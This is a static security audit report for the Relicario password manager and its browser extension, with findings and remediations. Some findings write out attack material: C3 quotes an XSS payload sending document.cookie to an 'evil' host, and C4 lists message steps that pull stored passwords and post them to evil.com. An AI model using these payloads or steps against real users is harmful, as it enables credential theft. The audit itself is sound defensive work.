Brand name uses capital R in user-facing text — extension UI strings, CLI clap help / descriptions / error prose, markdown docs. Lowercase preserved for the binary command, crate names, npm package, file paths, env vars, and code identifiers. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
33 KiB
Relicario Security Audit Report
Date: 2026-04-18
Scope: Full static review of crates/relicario-core/, crates/relicario-cli/, crates/relicario-wasm/, extension/src/, both manifests, both webpack configs, and the design spec at docs/superpowers/specs/2026-04-11-relicario-design.md.
Methodology: Static review against the project's documented threat model.
CRITICAL
C1. Setup wizard is web-accessible — any website can pre-load attacker-controlled vault config and image into the extension
File: extension/manifest.json:33-36, extension/manifest.firefox.json:38-40; consumed by extension/src/setup/setup.ts:540-568 and extension/src/service-worker/index.ts:314-322.
Issue: setup.html and setup.js are listed in web_accessible_resources with matches: ["<all_urls>"]. The setup page calls chrome.runtime.sendMessage({ type: 'save_setup', config, imageBase64 }) from the page context (not from the extension popup), and the service worker accepts that message with no sender check at all (_sender is unused at service-worker/index.ts:117). Any page on the internet can:
- Open or iframe
chrome-extension://<id>/setup.html(it's web-accessible, so framing/loading is allowed). - Run JS inside that page that calls
chrome.runtime.sendMessage(extensionId, { type: 'save_setup', config: { hostType: 'github', hostUrl: 'https://api.github.com', repoPath: 'attacker/vault', apiToken: '...' }, imageBase64: '<attacker-jpeg>' })— the setup page already has the chrome.runtime API available. - Even simpler: from setup.html itself,
chrome.runtime.sendMessageis available without any external-extensions allow-list because setup.html runs in the extension's own origin once loaded.
The service worker overwrites vaultConfig and imageBase64 in chrome.storage.local (index.ts:315-318) and resets gitHost = null so the new config takes effect on the next unlock. After this, the next time the user types their passphrase into the popup, the unlock flow reads the attacker's manifest from the attacker's repo using the attacker's image_secret + the user's passphrase — successfully unlocking, populating UI with attacker entries (which the attacker can craft to look like the user's familiar GitHub/Netflix entries), and silently writing any new credentials the user enters into the attacker-controlled repo.
This breaks the second of the four security invariants in the design spec ("Two-factor vault key. … Compromise of either alone is insufficient") because compromising neither factor is sufficient — silently swapping the image and remote bypasses the entire scheme.
Why it matters: This is the worst class of bug for a password manager: a drive-by attack that swaps the entire vault binding without any user prompt, with eventual full credential exfiltration on the next save/login.
Remediation:
- Remove
setup.html,setup.js,relicario_wasm.js, andrelicario_wasm_bg.wasmfromweb_accessible_resourcesentirely. The setup page is opened withchrome.tabs.create({ url: chrome.runtime.getURL('setup.html') })from the popup (setup-wizard.ts:28), which works fine withoutweb_accessible_resourcesfor own-origin tabs. - In the
save_setuphandler, validate the sender: requiresender.id === chrome.runtime.idANDsender.url?.startsWith(chrome.runtime.getURL('setup.html')). Reject all other senders. - If a vault is already configured, require an explicit user confirmation in the popup before overwriting — don't silently swap the binding.
- Consider hashing the (config, imageBase64) tuple and surfacing a fingerprint to the user so a swap is at least visible.
C2. Service-worker chrome.runtime.onMessage handler trusts every message — content scripts and any code running in the extension origin can dump the entire vault
File: extension/src/service-worker/index.ts:116-441.
Issue: The handler ignores _sender and treats every message identically. The content script runs on <all_urls> and is the natural attack surface — but in fact the handler does no isolation between content-script callers and popup callers. Concretely:
- A content script (one per page, injected on every site) can send
{ type: 'list_entries' },{ type: 'search_entries', query: '' }, then loop{ type: 'get_entry', id }for every id and ship full plaintext credentials off-domain viafetch(). The vault is unlocked once, then any page's content script can drain it. - The content script as written (
fill.ts,icon.ts,capture.ts) only reaches forget_credentialsafter the user clicks the injected "id" icon, but chrome.runtime.sendMessage from the content script is not gated by user gesture. A malicious page can't directly call into the extension, but if any other extension component ever introduces a vulnerability that lets attacker JS execute in the content-script world (XSS in the prompt UI — see C3 — or a future bug in icon.ts's DOM manipulation), that context can call every privileged message type. - More immediately: the
get_credentialshandler (index.ts:289-296) returns the password to any caller, with no check that the requestedidcorresponds to a URL matching the calling tab's origin. Even the intended path from the content-script icon click could be coerced (a page replaces the icon's click handler before the click arrives, then sendsget_credentialsfor an arbitraryidenumerated viaget_autofill_candidatesfor another hostname). There is zero origin-binding between "what page asked for autofill" and "which credentials we hand back."
Why it matters: Once the vault is unlocked, the entire vault is reachable by anything that can post a chrome.runtime message — and the content script makes that reachable from any page DOM whose JS can race the content script's listener. This is a textbook vault-exfiltration path.
Remediation:
- Split the message router into two surfaces. Popup-only operations (
unlock,lock,list_entries,get_entry,add_entry,update_entry,delete_entry,get_totpfor arbitrary id,save_setup,get_setup_state,update_settings,get_blacklist,remove_blacklist,generate_password) must reject ifsender.urlis notchrome-extension://<id>/popup.htmlor the setup page. - Content-script-callable operations (
get_autofill_candidates,get_credentials,check_credential,fill_credentials,blacklist_site) must verify (a)sender.tab?.idmatches the active tab and (b) the requested entry's stored URL hostname equalsnew URL(sender.tab.url).hostnamebefore returning a password. Today there is no such check —get_credentials(index.ts:289-296) blindly trusts the id. - Require user confirmation in the popup before the first autofill on any new origin.
C3. Capture prompt injects attacker-controlled DOM strings via innerHTML and is built on layered HTML escaping that is incomplete
File: extension/src/content/capture.ts:172-191, escapeForHtml at lines 270-274.
Issue: The capture prompt is appended to the page's DOM (document.body.appendChild(container)) with content like ${escapeForHtml(hostname)} and ${escapeForHtml(displayUser)} interpolated into a template literal that is then assigned to innerHTML. Two problems:
a) escapeForHtml uses the div.textContent round-trip trick. That escapes &, <, >, but does not escape ". The escaped value is then dropped into an HTML template inside <strong style="color:#58a6ff">${escapeForHtml(hostname)}</strong> — between tags, so quotes don't matter. However the value is also dropped into the textual sentence template surrounding it. This is currently safe for hostname (because URL hostnames cannot contain < or &), but username is interpolated as ${escapeForHtml(displayUser)} where displayUser = (${username})``. The username value comes from findUsernameValue(pwField) (capture.ts:26-67) which walks the page's <input> values — every byte of which is attacker-controlled. A page can stuff an <input value="<img src=x onerror=fetch('//evil/?'+document.cookie)>"> and get the prompt to render that image tag.
The textContent round-trip does escape <, >, and &, so injection of raw <img> tags is blocked. But:
b) The DOM the script is constructing lives in the page's document, not the extension's. Even if the escape were perfect, the page's existing CSS/JS sees the prompt and can read its DOM (#relicario-capture-prompt, #relicario-save-btn, etc.). Page JS can:
- Wait for the prompt to appear via
MutationObserver, read the<strong>text to learn the username being saved. - Programmatically
.click()#relicario-save-btnto silently save attacker-substituted credentials to the user's vault. (TheSavehandler readsusernameandpasswordfrom variables captured atshowPromptcall time, so it'll save correct values — but the page can replace the button's click listener viacloneNode/replaceWithor wrap it.) - Programmatically
.click()#relicario-never-btnto suppress capture for the user's real sites by getting them blacklisted via a confusable hostname.
c) The injected button uses id="relicario-save-btn". If the page has its own element with the same id, document.getElementById on subsequent saves returns whichever the browser returns first — generally the page's. Use a Shadow DOM or unique random ids per-prompt instead.
Why it matters: The capture flow is the easiest path to silent credential exfiltration. A malicious site can craft inputs and DOM such that submitting any form on the page causes the user's vault to capture and save attacker-chosen credentials labeled as the user's bank/email, or such that legitimate save prompts get Never-clicked and silently blacklisted.
Remediation:
- Render the prompt inside a closed Shadow DOM:
const root = container.attachShadow({ mode: 'closed' });thenroot.innerHTML = .... Closed shadow DOM is invisible to the page's JS. - Replace
escapeForHtml(displayUser)withtextContentassignments rather thaninnerHTML. Construct the DOM withdocument.createElement+.textContent =for any attacker-derived strings. - Treat all values from
findUsernameValueas fully untrusted; sanity-check they're not control characters or exceptionally long. - Do not use stable IDs (
relicario-save-btn) on elements injected into a hostile DOM.
C4. Autofill has no origin check — credentials handed to any page that asks
File: extension/src/service-worker/index.ts:283-296, extension/src/content/icon.ts:63-91.
Issue: get_autofill_candidates accepts a url field from the message payload, not from sender.tab.url. A content script (or, given C2, anything posting a message) supplies the URL. findByUrl (vault.ts:117-137) matches by hostname equality. Then get_credentials returns any entry by id with no URL check whatsoever (index.ts:289-296). So:
- A page at
evil.comsends{ type: 'get_autofill_candidates', url: 'https://github.com' }→ gets back the GitHub entry id. - Then sends
{ type: 'get_credentials', id }→ receives the GitHub username + password in plaintext. - Then ships them off via
fetch('https://evil.com/exfil', { body: ... }).
The icon-click flow is presented as the "intended" path, but nothing in the code enforces that the icon must be the trigger. The design spec section "Autofill anti-phishing (origin checks)" is referenced in the audit prompt but is not implemented anywhere.
Why it matters: This is the classic phishing primitive a password manager exists to prevent. relicario currently has weaker origin discipline than even a manually-typed-in form would have.
Remediation:
- In
get_autofill_candidatesandget_credentials, ignore any URL passed in the message. Usesender.tab.urland requiresender.tab.id === activeTabId. - Before returning a credential, confirm the entry's stored
url's hostname matches the sender tab's hostname. Reject otherwise. - Only allow autofill in the top-level frame: check
sender.frameId === 0. - Consider requiring user confirmation in the popup the first time a hostname requests autofill (TOFU origin acknowledgement).
HIGH
H1. Argon2id password input is the unprefixed concatenation of passphrase || image_secret — collision-engineerable second-preimage path
File: crates/relicario-core/src/crypto.rs:225-227.
Issue: password = passphrase || image_secret. Two distinct (passphrase, image_secret) pairs produce the same Argon2id input — e.g. ("abc", [0x44, 0x55, …]) and ("abcD", [0x55, …]) differ only in where the boundary sits but produce identical concatenations and therefore identical master keys. The design spec explicitly calls this out as "the canonical Argon2id API — no custom construction" but it's not canonical at all; concatenating two variable-length values without a length prefix is a textbook construction smell.
Why it matters in this threat model: The image_secret is fixed-length (32 bytes), so an attacker cannot freely craft pairs. But: in any future enhancement where the image_secret length changes (e.g., 64-byte for v2), or if the passphrase is allowed to contain bytes that look like leading bytes of an image_secret, the ambiguity becomes real. More immediately, it's a deviation from cryptographic hygiene that doesn't help the security argument and is trivial to fix. Also relevant: passphrases aren't strictly bounded — UTF-8 normalization differences (e.g., NFC vs NFD on macOS) could combine with image_secret in surprising ways.
Remediation:
let mut password = Vec::with_capacity(8 + passphrase.len() + 32);
password.extend_from_slice(&(passphrase.len() as u64).to_be_bytes());
password.extend_from_slice(passphrase);
password.extend_from_slice(image_secret);
Or better, use Argon2id's own additional_data / secret parameter (if exposed by the argon2 crate's Params) to keep them domain-separated. This is a format-breaking change so it must be tied to a version bump in params.json / a new VERSION_BYTE.
Cite spec line: the spec at "Key derivation" explicitly says "concatenated, 32-byte secret appended" — this audit recommends amending the spec to use length-prefixing.
H2. Master key never zeroized; Vec<u8> from derive_master_key and intermediate buffers leak into reallocated heap
File: crates/relicario-core/src/crypto.rs:205-235, crates/relicario-cli/src/main.rs:204-218 and every command that calls unlock.
Issue: The Argon2id output (output: [u8; 32]) is returned by value, copied into an owned Vec in relicario-wasm's derive_master_key (lib.rs:62), then handed to JS as a Uint8Array whose backing memory lives in the WASM linear memory. Nothing implements Drop to wipe the bytes. The intermediate password Vec at crypto.rs:225-227 (which contains the passphrase plaintext alongside the image_secret) is also dropped without zeroizing — its buffer is freed and may be reallocated for unrelated purposes, retaining the passphrase in process memory until overwritten.
In the CLI, the passphrase string from rpassword::prompt_password_stderr (an owned String) is also not zeroized. The master_key: [u8; 32] returned from unlock is just a stack array — better — but it gets passed by reference to encrypt_entry etc. which call into XChaCha20Poly1305 internals that may copy the key.
Why it matters: Anything that captures a memory dump (crash dump, swap, hibernation file, attacker with debugger after suspend-to-disk) can recover the passphrase, image_secret, and master key from regions of freed heap. The threat model lists "Stolen device" as in-scope.
Remediation:
- Add
zeroize = "1"andzeroize_derivetorelicario-core. - Wrap
master_keyinZeroizing<[u8; 32]>in bothderive_master_keyreturn and at all CLI/WASM call sites. - Wrap the temporary
passwordVec inZeroizing<Vec<u8>>so its contents are wiped on drop. - In the CLI, zeroize the passphrase string immediately after passing into
derive_master_key. - In the service worker, after a successful unlock, immediately overwrite the JS
passphrasestring the popup sent (best effort — JS strings are immutable, so accept this is partial; primary defense is keeping passphrase short-lived). - For the WASM bridge, prefer passing key handles by id and keeping the bytes inside Rust's WASM linear memory in zeroizing structures, never returning them to JS as a
Uint8Array. This is a larger refactor but is the correct architecture for a password manager.
H3. Passphrase strength gate is purely cosmetic; the only enforced minimum is 8 characters
File: crates/relicario-cli/src/main.rs:354-356, extension/src/setup/setup.ts:74-85, 363-373.
Issue: The CLI requires >= 8 characters — no entropy enforcement. The extension calls passphraseStrength() purely for the colored bar; the create-vault step accepts any non-empty passphrase including a single character (if (!state.passphrase) bail). This contradicts the spec's "Adversaries → Stolen device + weak passphrase: enforce minimum passphrase strength at vault creation" defense.
The threat model says the passphrase carries the entire entropy load against an attacker who has stolen the device + reference image. With a single low-entropy passphrase, all the elaborate two-factor design collapses to "Argon2id over a weak password," which a determined adversary can crack.
Why it matters: Spec invariant "Stolen device + weak passphrase. Universal worst case." The mitigation listed in the spec is "Enforce minimum passphrase strength at vault creation" — currently not enforced.
Remediation:
- In the extension's setup wizard, refuse to proceed unless
passphraseStrengthreturns'good'or'strong', OR display an explicit warning and require the user to type a confirmation phrase. - In the CLI, integrate
zxcvbn(Rust crate) and require an estimated guess count >= 2^45 or similar. - Document the enforced minimum in the spec.
H4. CLI git_commit shells out without disabling pager / signed commits / hooks; no git config isolation
File: crates/relicario-cli/src/main.rs:239-257, 402-405, 736-756.
Issue: Every CLI mutation runs git add -A then git commit -m <message>. There are no environmental guards:
- If the user has a global
commit.gpgsign = true,git commitwill block waiting on a passphrase prompt while the master key is held in process memory. Not directly a vuln, but exacerbates H2. - If a malicious
.git/hooks/pre-commitscript exists in the vault directory (e.g., the user pulled a compromised vault), it will execute every time the user runs any vault mutation. Hooks don't ship ingit clone, so this is mostly defensive. Mitigate viagit -c core.hooksPath=/dev/null. git pull --rebase(main.rs:737-738) without--no-editmay drop into an editor for conflict markers; nothing concerning, but a long-running editor session keeps the master_key in memory.git add -A(line 241) will stage anything in the working tree, including a maliciously-named file likeentries/../../etc/passwdor symlinks the user didn't notice. Not a direct vuln but means the audit log is broader than just vault content.
Why it matters: The shell-out is broad; tightening it is cheap defense in depth.
Remediation:
Command::new("git")
.args(["-c", "core.hooksPath=/dev/null", "-c", "commit.gpgsign=false",
"-c", "core.editor=true", "commit", "-m", message])
Stage only the specific files the operation touched (entries/<id>.enc, manifest.enc, .relicario/devices.json) instead of git add -A.
H5. WASM generate_password uses Math.random() — claimed "non-security-critical" is wrong
File: crates/relicario-wasm/src/lib.rs:240-256.
Issue: The doc comment says "Uses js_sys::Math::random() for randomness (not cryptographically secure, but sufficient for password character selection)." This is flatly wrong. Generated passwords are the user's stored credential for whatever site they're saving — they must be CSPRNG-derived. Math.random() is V8's xorshift128+ which is:
- Predictable from a small number of outputs (well-published research).
- Seeded per-realm; many realms share state across timing-correlated origins.
- An attacker who can observe one generated password (e.g., the user later shares it to a now-compromised site, or the page steals it via C3/C4) can in principle recover the RNG state and predict every other password generated in the same session.
The ext-bundled crypto.getRandomValues is available in service-worker context (it's used at setup.ts:384). There is no reason to use Math.random here.
Remediation: Replace both generate_password and generate_entry_id in relicario-wasm to use getrandom (already in the dependency list with features = ["js"] enabled, line in Cargo.toml). Equivalent to:
use rand::{rngs::OsRng, RngCore};
let mut buf = [0u8; 32];
OsRng.fill_bytes(&mut buf);
Also remove the false claim "Math.random() is sufficient for non-security-critical" — at minimum for entry IDs. For entry IDs the impact is mild (32 bits of weak randomness → some predictability of filenames in a public repo) but the password case is unambiguously a security bug.
Also: the modulo-by-charset-length introduces small bias (CHARSET.len() = 87, not a power of two). Use rejection sampling.
H6. CLI password generator has modulo bias
File: crates/relicario-cli/src/main.rs:308-317.
Issue: (rng.next_u32() as usize) % CHARSET.len() where CHARSET.len() == 75. Since 2^32 % 75 = 1 (≈), bias is mild, but still nonzero. For a tool whose entire job is generating high-entropy secrets, use rand::distributions::Uniform or rejection sampling.
Remediation:
use rand::distributions::{Distribution, Uniform};
let dist = Uniform::from(0..CHARSET.len());
(0..length).map(|_| CHARSET[dist.sample(&mut rng)] as char).collect()
H7. rpassword 5.0.1 is from 2020 and the API used (prompt_password_stderr) was deprecated and removed in 6.x
File: crates/relicario-cli/Cargo.toml (rpassword = "5"), main.rs:205, 352, 358.
Issue: rpassword 5.0.1 predates several documented platform handling fixes (Windows console, terminal-restoration on signal). The current crate is at 7.x. prompt_password_stderr was removed; use prompt_password and pipe it to stderr separately, or call rpassword::prompt_password_from_bufread for testability. Stale dep is a supply-chain hygiene issue and may carry unfixed terminal-restoration bugs that leave the TTY in no-echo mode if the user Ctrl-C's mid-prompt.
Remediation: Bump to rpassword = "7" and adapt the call sites.
H8. Service worker keeps apiToken in chrome.storage.local in plaintext alongside the unencrypted reference image
File: extension/src/service-worker/index.ts:67-75, 313-318.
Issue: vaultConfig.apiToken (Gitea/GitHub PAT with full Contents read+write) and imageBase64 (the reference image with the embedded image_secret) live unencrypted in chrome.storage.local. Per spec, "the image bytes never leave the device" — true — but anyone with read access to the user's Chrome profile (on disk: ~/.config/google-chrome/Default/Local Extension Settings/<extension-id>/) gets both the PAT (full git push access to the vault repo) and the image (factor #2). Combine that with C1's "swap" attack and the threat model's "Stolen device" adversary loses the image_secret to an offline attacker the moment the disk is read.
The spec says this is "acceptable" and that the reference image is supposed to live in chrome.storage.local. But the spec does not say the API token also lives there. The PAT is a separate secret with its own threat model — leaking it gives an attacker push access to overwrite the encrypted vault (denial of service or rollback to stale ciphertext).
Why it matters: chrome.storage.local is plain JSON on disk on most platforms. No OS-keystore integration. The spec's "Stolen device" mitigation depends on Argon2id-protected master key — the PAT bypasses that entirely.
Remediation:
- Document explicitly in the README/spec that anyone with filesystem access to the browser profile owns both the image_secret and write access to the git repo — and that the user's only remaining defense is the passphrase via Argon2id.
- Consider scoping the PAT more tightly (Contents-only on a single repo path, no other API surface). The setup wizard's instructions already point at fine-grained PATs for GitHub — emphasize this.
- Long-term: integrate with browser identity / cookie-based auth instead of long-lived PATs, or push the PAT into an OS keychain via a companion native messaging host (out of scope for V1).
MEDIUM
M1. read_block panics on out-of-bounds via read_block_abs(...).unwrap()
crates/relicario-core/src/imgsecret.rs:252-256. Future block-selection changes could panic at runtime; in WASM this aborts the whole service worker. Return Result and propagate, or debug_assert!.
M2. bits_to_bytes length not validated in try_extract_with_layout
crates/relicario-core/src/imgsecret.rs:765-768. secret.copy_from_slice(&result_bytes[..32]) panics if result_bytes.len() < 32. Add debug_assert_eq! and prefer try_into().
M3. extract_with_crop_recovery has unbounded compute for attacker-controlled JPEG dimensions
crates/relicario-core/src/imgsecret.rs:784-833. A 32000×32000 attacker-supplied JPEG can wedge the service worker for tens of seconds. Cap MAX_DIMENSION (e.g. 10000 px) and peek dimensions before full decode.
M4. decrypt error path leaks coarse timing about which validation failed first
crates/relicario-core/src/crypto.rs:115-141. Not exploitable today (only attacker-supplied ciphertexts are the user's own files). If a "share an entry" feature lands, this becomes a side channel. Consider returning RelicarioError::Decrypt for all failure modes.
M5. chrome.tabs.sendMessage in fill_credentials sends to currently-active tab without verifying the tab matches the entry's origin
extension/src/service-worker/index.ts:334-346. If the user switches tabs between opening the popup and pressing f, credentials go to the new tab. Capture (tab.id, tab.url) when popup opens.
M6. CLI clipboard clear is best-effort and racy
crates/relicario-cli/src/main.rs:565-585. The 30s clear thread holds a clone of the plaintext password for 30 seconds and won't clear if user copies anything else and back. Always clear unconditionally; wrap in Zeroizing<String>.
M7. CLI prints the full password to stdout via println!
crates/relicario-cli/src/main.rs:553. relicario get prints "Password: <plaintext>" to stdout — ends up in scrollback, script transcripts, tmux capture, pipes. Show ******** by default; require --show flag.
M8. CLI generates entry IDs with only 32 bits of randomness; 8-char hex collisions are realistic
crates/relicario-core/src/entry.rs:159-163. Birthday-bound: ~65k entries gives ~50% collision; manifest.add_entry silently overwrites. Bump to 16-char hex (64 bits), or check before write.
M9. WASM TOTP code has no guard against result[offset + 3] index when HMAC output is exactly 20 bytes
crates/relicario-wasm/src/lib.rs:227-232. Safe today (HMAC-SHA1 is always 20 bytes, max offset is 15). Add debug_assert_eq!(result.len(), 20) for future-proofing.
M10. setup-wizard.ts opens a new tab, but window.close() is no-op if popup is not in popup context
extension/src/popup/components/setup-wizard.ts:27-30. Minor.
M11. CLI now_iso8601 returns Unix seconds but the field is named iso8601 and the spec promises ISO 8601 formatting
crates/relicario-cli/src/main.rs:263-268. Function name lies; consumers may parse timestamps and silently mishandle a numeric value. Either rename or use chrono/jiff.
M12. arboard 3 carries platform-dependent behavior; password may persist after set_text("") on Linux X11
crates/relicario-cli/src/main.rs:572-579. Document Linux limitations.
LOW / INFORMATIONAL
- L1. Dead-code-allowed fields in
EmbedRegion(crates/relicario-core/src/imgsecret.rs:163, 166). - L2.
RelicarioError::Formatexposes the offending version byte in user-facing error string. Minor info disclosure. - L3. Capture flow's
check_credentialdecrypts every candidate entry on every form submit (index.ts:421-423). Cache password hash, not password. - L4.
popup.ts:16-20setStatetriggers full re-render every state change — in-flight async responses can race and double-fire. - L5. Chrome MV3 manifest CSP includes
'wasm-unsafe-eval'— required but document why. - L6.
git-host.ts:27usesString.fromCharCode(bytes[i])for base64 — vulnerable to memory pressure with large reference images. Use chunked orFileReader. - L7.
Cargo.tomlallows wide major-version ranges. Nocargo audit/cargo denyconfig in repo. - L8. CLI
vault_dir()silently returnscurrent_dir()—relicario addin/homewill start writing files there. Detect missing.relicario/and bail. - L9.
devices.jsoninitial write differs between CLI ("[]") and extension ('{"devices":[]}'). Schema mismatch. - L10.
totpSecretCache(Map<string, string>of plaintext base32 secrets) has no zeroization — note that JS strings can't be zeroized. - L11.
escapeHtmlatpopup.ts:16-20doesn't escape'(single quote). Codebase uses double quotes for attributes, so currently safe but fragile. - L12. Service worker unlock path doesn't validate salt/params length before passing to WASM. Add explicit length checks at JS boundary.
CONFIRMED-SAFE
These primitives and parameters are correctly used and do not need further worry:
- XChaCha20-Poly1305 via
chacha20poly1305 = "0.10.1"(RustCrypto). Correct AEAD usage; 24-byte nonce generated fresh fromOsRngper encryption (crypto.rs:79-100). - Argon2id via
argon2 = "0.5.3". Correct algorithm/version (Algorithm::Argon2id, Version::V0x13), output length 32. Defaults of m=64MiB, t=3, p=4 within OWASP 2024 recommendations (crypto.rs:211-235). - OsRng used for: master_key salt (
main.rs:368-369), image_secret in CLI (main.rs:339-340), nonces (crypto.rs:85-87), ed25519 device keys (main.rs:794). crypto.getRandomValuesin setup wizard for image_secret + salt (setup.ts:383-393).- ed25519-dalek 2.2.0 with
rand_core— modern strict-verification version. - TOTP / RFC 6238 in WASM is correct; unit tests exercise published RFC test vectors (
wasm/lib.rs:280-301). - AEAD failure → opaque
RelicarioError::Decryptwith generic message ("wrong key or corrupted data"). Avoids leaking which factor is wrong (error.rs:33,crypto.rs:138). - Version byte (0x01) at start of every ciphertext blob with rejection of unknown versions.
- Two-factor independence verified by
tests/integration.rs:120-153. - DCT round-trip correctness verified to 1e-6 tolerance.
escapeHtmlvia textContent round-trip correctly defangs<,>,&for content insertion (caveat L11).- Manifest schema migration for the new
groupfield handles old records cleanly viaserde(skip_serializing_if = "Option::is_none"). - CSP
script-src 'self' 'wasm-unsafe-eval'; object-src 'self'is tight: nounsafe-inline, no remote scripts. - CLI device key file permissions 0600 on Unix (
main.rs:809-813).
WIDER AUDIT GAPS (out of scope for this static review)
- Empirical robustness of imgsecret claims (Q85, 10% crop, etc.). Tests cover one synthetic JPEG. Real social-media JPEGs go through chroma subsampling at 4:2:0, EXIF orientation flips, ICC profile re-encoding, platform-specific quantization tables. Needs a fuzz battery against actual platform upload-download round trips.
- WASM linear-memory inspection. Bytes copied between Rust and JS via wasm-bindgen are reachable from JS for the lifetime of the process. A DevTools heap snapshot of the SW after unlock would confirm whether master_key bytes are visible from JS.
- Side-channel timing of Argon2id. The
argon2crate'shash_password_intois data-independent. No issue suspected; constant-time-test harness would confirm. - Browser extension fuzzing for malicious page interaction. Capture/autofill/prompt rendering need exercise against a hostile page with full DOM control.
- Cargo Audit / Cargo Deny. Run
cargo auditagainst the lockfile;image 0.25.10and transitive image-codec deps have had a steady stream of CVEs. - MV3 service worker idle-suspend behavior. When SW is suspended,
masterKeyis freed — good. But verify Chrome doesn't serialize SW storage ofmasterKeyfor resume. - Git transport security. Whether the user's git config validates SSH host keys, uses HTTPS with cert pinning, etc., is outside static review.
- Recovery flow. Not yet implemented; needs its own audit when it lands.
Summary
relicario's core cryptography is solid: correct AEAD, correct KDF parameters, real two-factor key derivation. The bugs are concentrated in the extension boundary and the plumbing around the crypto: the setup wizard is web-accessible without sender checks (C1), the message router trusts every caller (C2), capture and autofill have no origin discipline (C3, C4), the WASM password generator is non-cryptographic (H5), and master-key/passphrase memory hygiene is absent (H2).
C1–C4 together are exploitable end-to-end and should be treated as release blockers. H1–H8 should land before any tagged 1.0; M-class items can be batched into hardening PRs.